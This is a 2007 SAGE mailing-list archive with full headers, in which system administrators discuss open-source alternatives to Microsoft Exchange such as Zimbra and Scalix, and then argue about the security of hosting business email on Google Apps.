> alternative before I get the dreaded request to install Exchange.  So
> far I've been looking at Scalix 11 and Zimbra 4.5.  So far Zimbra is
> looking very nice, and I'm leaning that way.  Here is a quick list of
> requirements:
>
> - Only about 100 users right now, and probably only a growth of 50 a
> year at most.
> - No MS
> - Email accounts and aliases
> - Support for 200+ domains
> - Mailing lists
> - Wildcard addresses (user-*@domain.com)
> - Calendars with ability to invite other users to events
> - Ability to schedule resources (mainly conference rooms)
> - Be able to see free/busy for people/resources when scheduling
> - Shared Contacts.
> - Works across 3 major platforms (Windows, MacOS X, Linux)
>
> Bonuses:
> - Outlook integration
> - Apple iSync integration
> - Webmail
>
> With that said, Zimbra fits the bill almost perfectly.  I especially
> like the fact that it's based on Postfix, and other open source
> projects.  However, I am leary of major parts of it (webmail, POP,  
> SMTP,
> IMAP) running in Tomcat.
>
> I also looked at Open-Xchange, but was turned off by the interface.
>
> So does anyone have any experience with something like this?  Any
> good/bad notes about Zimbra?  Any other projects that I'm not  
> including?
>
> Thanks,
> Nate



From sage-members-owner@usenix.org Tue Mar  6 15:31:26 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26NVNqh006891
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 15:31:23 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26NVN9R006881
	for sage-members-0utGoign; Tue, 6 Mar 2007 15:31:23 -0800 (PST)
Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.232])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26NUrOP005325
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 15:31:04 -0800 (PST)
Received: by wr-out-0506.google.com with SMTP id 36so2578133wra
	for <sage-members@usenix.org>; Tue, 06 Mar 2007 15:30:53 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=Swwo1XAhWs4LOefzTV70oTS8eHXLHDqUiSjRBOFMMZOshUG1wZCHdW2LI0rdcBVh7+2gM30AfZlEkjLigzwHsFbrIUoOjLu44rktSGrcwprdALlCOWyKwvfBkUgWbjoYdcfToXKYxfpB5QXFySBCDK7R9UCbNo0DebwqU1A56hc=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=qDY/buYUb+ergX9sfQSOxaaYZNMsSye9sv9XZRESvfIEu3AeO8eY/LceLuQVdAvGA/cCtd4lppQjZdSjuNEUQQVhR/bbqhYW/zRna27XobQ5KV5y+EwA+GZh4P0ytVIYtDkXF+b1zgpNGPoKgWvLzwqvw+odF97vg1DlYmtZrdM=
Received: by 10.115.33.1 with SMTP id l1mr1939807waj.1173223852857;
	Tue, 06 Mar 2007 15:30:52 -0800 (PST)
Received: by 10.114.156.17 with HTTP; Tue, 6 Mar 2007 15:30:52 -0800 (PST)
Message-ID: <b5e09e920703061530j415e09d3g82a279f91829d2ce@mail.gmail.com>
Date: Tue, 6 Mar 2007 18:30:52 -0500
From: "Meenoo Shivdasani" <meenoo@gmail.com>
To: "Sam Johnston" <samj@samj.net>
Subject: Re: [SAGE] Exchange work-alikes
Cc: Nate <nate@seekio.com>, sage-members@usenix.org
In-Reply-To: <28F999C4-CE85-4A88-85B6-E80DF799DAA7@samj.net>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
References: <45EDA096.5010200@seekio.com>
	<28F999C4-CE85-4A88-85B6-E80DF799DAA7@samj.net>
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1 rep=7%
Sender: owner-sage-members@usenix.org
Precedence: bulk

> I know I've said this once already today but what about Google Apps
> (http://google.com/a/)? You get 2Gb mailboxes per user for free or
> 10Gb for 50 bucks a year and it only takes 60 seconds to set up
> (proof: http://www.youtube.com/watch?v=QhLyiuDKNrU).

>From a security/confidentiality/paranoia standpoint, the idea of
putting business data onto servers that are not under the direct
control of the business makes me break out in hives and run screaming
into traffic on an 8 lane highway.

YMMV,

M


From sage-members-owner@usenix.org Tue Mar  6 15:42:11 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26NfxtP007665
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 15:42:00 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l26Nfxmd007664
	for sage-members-0utGoign; Tue, 6 Mar 2007 15:41:59 -0800 (PST)
Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.232])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l26NfWtt007653
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 15:41:43 -0800 (PST)
Received: by wx-out-0506.google.com with SMTP id t12so2251003wxc
	for <sage-members@usenix.org>; Tue, 06 Mar 2007 15:41:32 -0800 (PST)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:user-agent:mime-version:to:subject:references:in-reply-to:content-type:content-transfer-encoding:sender;
	b=QtUl0va6pmEOUzdlccS/+7rCJsVQX1kzhGCJ8WWg1ybEkTA/VvogbvlPR7WLRxr7eP3HYkz5ogHfMXqEfgd8AaqD0dr92LV2sFF65NBYrRbi2RQsQuLKhUUCosO5KLMhCngvVbrhlFqHzy2lkaziESUy9es2PgFfuQlPyYmoEZg=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:user-agent:mime-version:to:subject:references:in-reply-to:content-type:content-transfer-encoding:sender;
	b=E5KIWH3fGkGJyK2bP5uTpkKpvQ6TD6NMFFrrJoe081kg0/cn5FSlzkeoGJA6syowALZ53jLykHa66SFui1bggWpf+PU8VviQExec7RWCL5f2c/tB7uKsC8iJ/YEn/gXHGvnNAO5S90ukzTMqI4R+wKAHm9sLefBVgd2X/3gc7mk=
Received: by 10.70.52.5 with SMTP id z5mr12711190wxz.1173224074189;
	Tue, 06 Mar 2007 15:34:34 -0800 (PST)
Received: from ?10.111.51.182? ( [69.59.255.12])
	by mx.google.com with ESMTP id i19sm11290642wxd.2007.03.06.15.34.33;
	Tue, 06 Mar 2007 15:34:33 -0800 (PST)
Message-ID: <45EDFA88.3040507@whatexit.org>
Date: Tue, 06 Mar 2007 18:34:32 -0500
From: Tom Reingold <tommy@whatexit.org>
User-Agent: Thunderbird 1.5.0.10 (Windows/20070221)
MIME-Version: 1.0
To: sage-members@usenix.org
Subject: Re: [SAGE] Exchange work-alikes
References: <45EDA096.5010200@seekio.com>	
	<28F999C4-CE85-4A88-85B6-E80DF799DAA7@samj.net>
	<b5e09e920703061530j415e09d3g82a279f91829d2ce@mail.gmail.com>
In-Reply-To: <b5e09e920703061530j415e09d3g82a279f91829d2ce@mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=2 Fuz1=2 Fuz2=2 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Meenoo Shivdasani wrote:
>> I know I've said this once already today but what about Google Apps
>> (http://google.com/a/)? You get 2Gb mailboxes per user for free or
>> 10Gb for 50 bucks a year and it only takes 60 seconds to set up
>> (proof: http://www.youtube.com/watch?v=QhLyiuDKNrU).
> 
>> From a security/confidentiality/paranoia standpoint, the idea of
> putting business data onto servers that are not under the direct
> control of the business makes me break out in hives and run screaming
> into traffic on an 8 lane highway.
> 
> YMMV,
> 
> M



Where do you keep your money?

Tom





From sage-members-owner@usenix.org Tue Mar  6 16:07:58 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l2707g5p008563
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 16:07:43 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l2707gcT008562
	for sage-members-0utGoign; Tue, 6 Mar 2007 16:07:42 -0800 (PST)
Received: from relay00.pair.com (relay00.pair.com [209.68.5.9])
	by usenix.org (8.13.6/8.13.6) with SMTP id l270773N008534
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 16:07:19 -0800 (PST)
Received: (qmail 49785 invoked by uid 0); 7 Mar 2007 00:07:02 -0000
Received: from 66.119.212.42 (HELO ?66.119.212.42?) (66.119.212.42)
	by relay00.pair.com with SMTP; 7 Mar 2007 00:07:02 -0000
X-pair-Authenticated: 66.119.212.42
Message-ID: <45EE01A9.4060706@deaddrop.org>
Date: Tue, 06 Mar 2007 16:04:57 -0800
From: Etaoin Shrdlu <shrdlu@deaddrop.org>
Organization: dig @localhost TXT CHAOS version.bind
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
	rv:1.7.11) Gecko/20050728
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: SAGE Members <sage-members@usenix.org>
Subject: Re: [SAGE] Exchange work-alikes
References: <45EDA096.5010200@seekio.com>	
	<28F999C4-CE85-4A88-85B6-E80DF799DAA7@samj.net>
	<b5e09e920703061530j415e09d3g82a279f91829d2ce@mail.gmail.com>
	<45EDFA88.3040507@whatexit.org>
In-Reply-To: <45EDFA88.3040507@whatexit.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1 rep=17%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Tom Reingold wrote:

>  Meenoo Shivdasani wrote:
>
> >> I know I've said this once already today but what about Google
> >> Apps (http://google.com/a/)? You get 2Gb mailboxes per user for
> >> free or 10Gb for 50 bucks a year and it only takes 60 seconds to
> >> set up (proof: http://www.youtube.com/watch?v=QhLyiuDKNrU).

> > From a security/confidentiality/paranoia standpoint, the idea of
> > putting business data onto servers

> > that are not under the direct control of the business makes me
> > break out in hives and run screaming into traffic on an 8 lane
> > highway.

>  Where do you keep your money?

You know, that is absolutely not the same thing.

It's one thing to drink the gmail koolaid for throwaway accounts, but 
proposing (seriously or not) that someone host a *business* on servers 
which have cute little pop ups that say "Oops. A mistake just happened." 
when you're in the middle of something important is just insane. The 
banking industry is regulated, there isn't just one, and I still don't 
trust them. I have a dozen gmail accounts, but I depend on *none* of 
them for anything important.

-- 
Any commercial institution that is serious about protecting their
customers from phishing will stop sending mail marked up with HTML.



From sage-members-owner@usenix.org Tue Mar  6 16:20:37 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l270KbtK010113
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 16:20:37 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l270KavV010110
	for sage-members-0utGoign; Tue, 6 Mar 2007 16:20:36 -0800 (PST)
Received: from wingfoot.org (caduceus.wingfoot.org [64.32.179.50])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l270KIPS010034
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 16:20:28 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by wingfoot.org (Postfix) with ESMTP id 4E7721F4406
	for <sage-members@usenix.org>; Tue,  6 Mar 2007 19:01:38 -0500 (EST)
X-Virus-Scanned: amavisd-new at wingfoot.org
Received: from wingfoot.org ([127.0.0.1])
	by localhost (wingfoot.org [127.0.0.1]) (amavisd-new, port 10042)
	with ESMTP id Zl4Zvc1HNIke for <sage-members@usenix.org>;
	Tue,  6 Mar 2007 19:01:19 -0500 (EST)
Received: from [135.180.145.172] (H-135-180-145-172.dnrc.bell-labs.com
	[135.180.145.172])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by wingfoot.org (Postfix) with ESMTP id B49681F4404
	for <sage-members@usenix.org>; Tue,  6 Mar 2007 19:01:19 -0500 (EST)
Message-ID: <45EE00CE.6010305@wingfoot.org>
Date: Tue, 06 Mar 2007 19:01:18 -0500
From: "Glenn E. Sieb" <ges@wingfoot.org>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.8.1.2pre) Gecko/20070223 Thunderbird/2.0b2 Mnenhy/0.7.5.666
MIME-Version: 1.0
To: sage-members@usenix.org
Subject: Re: [SAGE] Exchange work-alikes
References: <45EDA096.5010200@seekio.com>	
	<28F999C4-CE85-4A88-85B6-E80DF799DAA7@samj.net>
	<b5e09e920703061530j415e09d3g82a279f91829d2ce@mail.gmail.com>
	<45EDFA88.3040507@whatexit.org>
In-Reply-To: <45EDFA88.3040507@whatexit.org>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-Usenix-Metrics: voyager 1010; Body=0 Fuz1=0 Fuz2=0
Sender: owner-sage-members@usenix.org
Precedence: bulk

Tom Reingold wrote:
> Where do you keep your money?

Does this imply that Google has federal insurance guaranteeing the data 
in your accounts now? Cool!

With a smile,
--Glenn


From sage-members-owner@usenix.org Tue Mar  6 16:49:24 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l270nN7x013647
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 16:49:24 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l270nNYf013646
	for sage-members-0utGoign; Tue, 6 Mar 2007 16:49:23 -0800 (PST)
Received: from amber.ccs.neu.edu (amber.ccs.neu.edu [129.10.116.51])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l270mx7v013591
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 16:49:10 -0800 (PST)
Received: from c-65-96-187-69.hsd1.ma.comcast.net ([65.96.187.69]
	helo=[192.168.0.3])
	by amber.ccs.neu.edu with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.50)
	id 1HOkKw-0001VR-Ca
	for sage-members@usenix.org; Tue, 06 Mar 2007 19:48:58 -0500
Mime-Version: 1.0 (Apple Message framework v752.3)
In-Reply-To: <b5e09e920703061530j415e09d3g82a279f91829d2ce@mail.gmail.com>
References: <45EDA096.5010200@seekio.com>
	<28F999C4-CE85-4A88-85B6-E80DF799DAA7@samj.net>
	<b5e09e920703061530j415e09d3g82a279f91829d2ce@mail.gmail.com>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <F1F7C62F-886D-4150-B366-535A9768E6D2@ccs.neu.edu>
Content-Transfer-Encoding: 7bit
From: David Blank-Edelman <dnb@ccs.neu.edu>
Subject: Re: [SAGE] Exchange work-alikes
Date: Tue, 6 Mar 2007 19:48:35 -0500
To: SAGE Members <sage-members@usenix.org>
X-Mailer: Apple Mail (2.752.3)
Sender: owner-sage-members@usenix.org
Precedence: bulk


On Mar 6, 2007, at 6:30 PM, Meenoo Shivdasani wrote:

> From a security/confidentiality/paranoia standpoint, the idea of
> putting business data onto servers that are not under the direct
> control of the business makes me break out in hives and run screaming
> into traffic on an 8 lane highway.

Ok, this is a conversation I'm really interested in having (for a  
number of reasons, including some thoughts about trying the Google  
service for our user community).

Here's my response:

1) Anyone at your organization use Blackberrys or Smartphones?  
(presuming you don't host the Blackberry server components yourself)?
2) Can you users forward their mail out? Are they already doing so?  
Any to GMail?
3) Tell me a bit about your voicemail service. Run it yourself in house?

Those are just three places where I think IT infrastructures often  
leak, I'm sure there are more.

      -- dNb



From sage-members-owner@usenix.org Tue Mar  6 17:26:06 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l271Q5fQ018680
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 17:26:05 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l271Q5hI018678
	for sage-members-0utGoign; Tue, 6 Mar 2007 17:26:05 -0800 (PST)
Received: from scotch.datalyte.com (postfix@scotch.datalyte.com [69.31.85.242])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l271PnRa018632
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 17:25:59 -0800 (PST)
X-SMTP-Auth: no
Received: from localhost (localhost [127.0.0.1])
	by scotch.datalyte.com (Postfix) with ESMTP id 66220137EE;
	Tue,  6 Mar 2007 20:25:58 -0500 (EST)
Received: from scotch.datalyte.com ([127.0.0.1])
	by localhost (scotch.datalyte.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02346-04; Tue,  6 Mar 2007 20:25:48 -0500 (EST)
Received: from [192.168.0.101] (user-0ccetf4.cable.mindspring.com
	[24.199.117.228]) (using TLSv1 with cipher AES128-SHA (128/128 bits))
	(No client certificate requested)
	by scotch.datalyte.com (Postfix) with ESMTP id 844F3137ED;
	Tue,  6 Mar 2007 20:25:48 -0500 (EST)
In-Reply-To: <F1F7C62F-886D-4150-B366-535A9768E6D2@ccs.neu.edu>
References: <45EDA096.5010200@seekio.com>
	<28F999C4-CE85-4A88-85B6-E80DF799DAA7@samj.net>
	<b5e09e920703061530j415e09d3g82a279f91829d2ce@mail.gmail.com>
	<F1F7C62F-886D-4150-B366-535A9768E6D2@ccs.neu.edu>
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <75F8A21B-840B-454A-89C0-7FFA8F7C52ED@mbarr.net>
Cc: SAGE Members <sage-members@usenix.org>
Content-Transfer-Encoding: 7bit
From: Matthew Barr <mbarr@mbarr.net>
Subject: Re: [SAGE] Exchange work-alikes
Date: Tue, 6 Mar 2007 20:25:35 -0500
To: David Blank-Edelman <dnb@ccs.neu.edu>
X-Mailer: Apple Mail (2.752.3)
X-Virus-Scanned: Maia Mailguard 1.0.1
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

>
> 1) Anyone at your organization use Blackberrys or Smartphones?  
> (presuming you don't host the Blackberry server components yourself)?
> 2) Can you users forward their mail out? Are they already doing so?  
> Any to GMail?
> 3) Tell me a bit about your voicemail service. Run it yourself in  
> house?
>
> Those are just three places where I think IT infrastructures often  
> leak, I'm sure there are more

And to add to the conversation:  How about outsourced email?  Postini  
and their ilk?

(And on another, lesser note:  What about RBL's, like Spamhaus, etc?)

Matthew Barr
Managing Partner
Datalyte Consulting, LLC
Apple Authorized Reseller
mailto:mbarr@datalyte.com
cell: (646) 765-6878




From sage-members-owner@usenix.org Tue Mar  6 17:29:29 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l271TSPf019152
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 17:29:29 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l271TSgJ019151
	for sage-members-0utGoign; Tue, 6 Mar 2007 17:29:28 -0800 (PST)
Received: from relay00.pair.com (relay00.pair.com [209.68.5.9])
	by usenix.org (8.13.6/8.13.6) with SMTP id l271TA4U019116
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 17:29:21 -0800 (PST)
Received: (qmail 72221 invoked by uid 0); 7 Mar 2007 01:29:10 -0000
Received: from 66.119.212.42 (HELO ?66.119.212.42?) (66.119.212.42)
	by relay00.pair.com with SMTP; 7 Mar 2007 01:29:10 -0000
X-pair-Authenticated: 66.119.212.42
Message-ID: <45EE14E9.3020506@deaddrop.org>
Date: Tue, 06 Mar 2007 17:27:05 -0800
From: Etaoin Shrdlu <shrdlu@deaddrop.org>
Organization: dig @localhost TXT CHAOS version.bind
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
	rv:1.7.11) Gecko/20050728
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: SAGE Members <sage-members@usenix.org>
Subject: Re: [SAGE] Exchange work-alikes
References: <45EDA096.5010200@seekio.com>
	<28F999C4-CE85-4A88-85B6-E80DF799DAA7@samj.net>
	<b5e09e920703061530j415e09d3g82a279f91829d2ce@mail.gmail.com>
	<F1F7C62F-886D-4150-B366-535A9768E6D2@ccs.neu.edu>
In-Reply-To: <F1F7C62F-886D-4150-B366-535A9768E6D2@ccs.neu.edu>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1 rep=17%
Sender: owner-sage-members@usenix.org
Precedence: bulk

I should really be doing other things, but I'm still going to play along.

David Blank-Edelman wrote:

> On Mar 6, 2007, at 6:30 PM, Meenoo Shivdasani wrote:

>> From a security/confidentiality/paranoia standpoint, the idea of
>> putting business data onto servers that are not under the direct
>> control of the business makes me break out in hives and run screaming
>> into traffic on an 8 lane highway.
>
>
> Ok, this is a conversation I'm really interested in having (for a  
> number of reasons, including some thoughts about trying the Google  
> service for our user community).

First, I do want to make plain that I understand that for certain 
things, Google can provide a commercial version of some of their 
services, which is entirely separate from banking on the public stuff. I 
don't think this is what you mean, howsomeever. I think you genuinely 
mean that your users will have "Google Login Names" (whatever that 
implies), and that they will be storing data on a bunch of servers that 
are just completely not under your control. No backups, no security.

I'm going to answer the following as though I was still employed at 
$Large company, which is no longer true (and hooray for that).

> Here's my response:
>
> 1) Anyone at your organization use Blackberrys or Smartphones?  
> (presuming you don't host the Blackberry server components yourself)?

Pshaw. Of course they do (host those components themselves). RIM charges 
a bloody fortune for it, but that data stays in house, thanks.

> 2) Can you users forward their mail out? Are they already doing so?  
> Any to GMail?

Stopped at the (multiple) firewalls. It's against company policy, and 
there's simply no mechanism for getting it out. The infrastructure is 
monolithic, and inconvenient, but that piece (at least) works. In 
addition, it is explicitly against company policy to do business from 
any email account not within the official infrastructure. You can get to 
web based mail (such as gmail and yahoo), and (last I was there) you 
could still ssh home and work that way.

> 3) Tell me a bit about your voicemail service. Run it yourself in house?

Well, at least in Redondo Beach, yes. Don't know about the other sites. 
It was an aging Nortel switch, but I still found it a thing of beauty 
(love hardware, not always sure about people).

> Those are just three places where I think IT infrastructures often  
> leak, I'm sure there are more.

Maybe. Just because the garage leaks, there's no sense punching a hole 
in the living room roof to see whether it'll leak there, too.

-- 
Any commercial institution that is serious about protecting their
customers from phishing will stop sending mail marked up with HTML.



From sage-members-owner@usenix.org Tue Mar  6 17:41:07 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l271f6U3020996
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 17:41:06 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l271f6xp020992
	for sage-members-0utGoign; Tue, 6 Mar 2007 17:41:06 -0800 (PST)
Received: from smtp.swarpa.net (melfpelt.swarpa.net [70.84.200.162])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l271eoZX020968
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 17:41:01 -0800 (PST)
Received: by smtp.swarpa.net (Postfix, from userid 500)
	id 8B7C7124DF7; Tue,  6 Mar 2007 20:40:50 -0500 (EST)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <17902.6177.972260.698480@melfpelt.swarpa.net>
Date: Tue, 6 Mar 2007 20:40:49 -0500
To: SAGE Members <sage-members@usenix.org>
Subject: Re: [SAGE] Exchange work-alikes
In-Reply-To: <45EE14E9.3020506@deaddrop.org>
References: <45EDA096.5010200@seekio.com>
	<28F999C4-CE85-4A88-85B6-E80DF799DAA7@samj.net>
	<b5e09e920703061530j415e09d3g82a279f91829d2ce@mail.gmail.com>
	<F1F7C62F-886D-4150-B366-535A9768E6D2@ccs.neu.edu>
	<45EE14E9.3020506@deaddrop.org>
X-Mailer: VM 7.17 under 21.4 (patch 15) "Security Through Obscurity" XEmacs
	Lucid
From: Josh Smith <irilyth@infersys.com>
X-Attribution: JBS
Organization: Evil Geniuses For A Better Tomorrow
X-DCC-dcc.uncw.edu-Metrics: voyager 1201; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

Seems to me that:

(a) Organizations often outsource things.
(b) Organizations are often cautious about doing this.
(c) The appropriate level of caution will vary from organization to
    organization.
(d) Therefore, any statement of the form "outsourcing this is obviously
    the right move" or "...obviously stupid" is probably wrong.

Ja?

                                      -Josh (irilyth@infersys.com)


From sage-members-owner@usenix.org Tue Mar  6 18:59:58 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l272xs0k002270
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 18:59:54 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l272xs18002269
	for sage-members-0utGoign; Tue, 6 Mar 2007 18:59:54 -0800 (PST)
Received: from blue.stonehenge.com (_postfix@blue.stonehenge.com
	[209.223.236.162])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l272xWxE002212
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 18:59:43 -0800 (PST)
Received: by blue.stonehenge.com (Postfix, from userid 1001)
	id 5C6DE1DE5C5; Tue,  6 Mar 2007 18:59:22 -0800 (PST)
To: Nate <nate@seekio.com>
Cc: sage-members@usenix.org
Subject: Re: [SAGE] Exchange work-alikes
References: <45EDA096.5010200@seekio.com>
From: merlyn@stonehenge.com (Randal L. Schwartz)
x-mayan-date: Long count = 12.19.14.2.3; tzolkin = 6 Akbal; haab = 16 Kayab
Date: Tue, 06 Mar 2007 18:59:22 -0800
In-Reply-To: <45EDA096.5010200@seekio.com> (nate@seekio.com's message of "Tue,
	06 Mar 2007 10:10:46 -0700")
Message-ID: <86bqj5bvxx.fsf@blue.stonehenge.com>
User-Agent: Gnus/5.1008 (Gnus v5.10.8) Emacs/21.4 (berkeley-unix)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-DCC--Metrics: voyager 1356; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

>>>>> "Nate" == Nate  <nate@seekio.com> writes:

Nate> I've been doing some research on email/calendar/contact systems similar
Nate> to exchange, and was wondering if anyone had any opinions.

Does it need to crash as often, or have a huge monolithic opaque file
to store all the messages?

:-)

-- 
Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095
<merlyn@stonehenge.com> <URL:http://www.stonehenge.com/merlyn/>
Perl/Unix/security consulting, Technical writing, Comedy, etc. etc.
See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training!


From sage-members-owner@usenix.org Tue Mar  6 19:34:53 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l273YrvV006489
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 6 Mar 2007 19:34:53 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l273Yr00006486
	for sage-members-0utGoign; Tue, 6 Mar 2007 19:34:53 -0800 (PST)
Received: from amber.ccs.neu.edu (amber.ccs.neu.edu [129.10.116.51])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l273YOSS006421
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Tue, 6 Mar 2007 19:34:39 -0800 (PST)
Received: from c-65-96-187-69.hsd1.ma.comcast.net ([65.96.187.69]
	helo=[192.168.0.3])
	by amber.ccs.neu.edu with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.50)
	id 1HOmv1-0002bG-Qn
	for sage-members@usenix.org; Tue, 06 Mar 2007 22:34:24 -0500
Mime-Version: 1.0 (Apple Message framework v752.3)
In-Reply-To: <45EE14E9.3020506@deaddrop.org>
References: <45EDA096.5010200@seekio.com>
	<28F999C4-CE85-4A88-85B6-E80DF799DAA7@samj.net>
	<b5e09e920703061530j415e09d3g82a279f91829d2ce@mail.gmail.com>
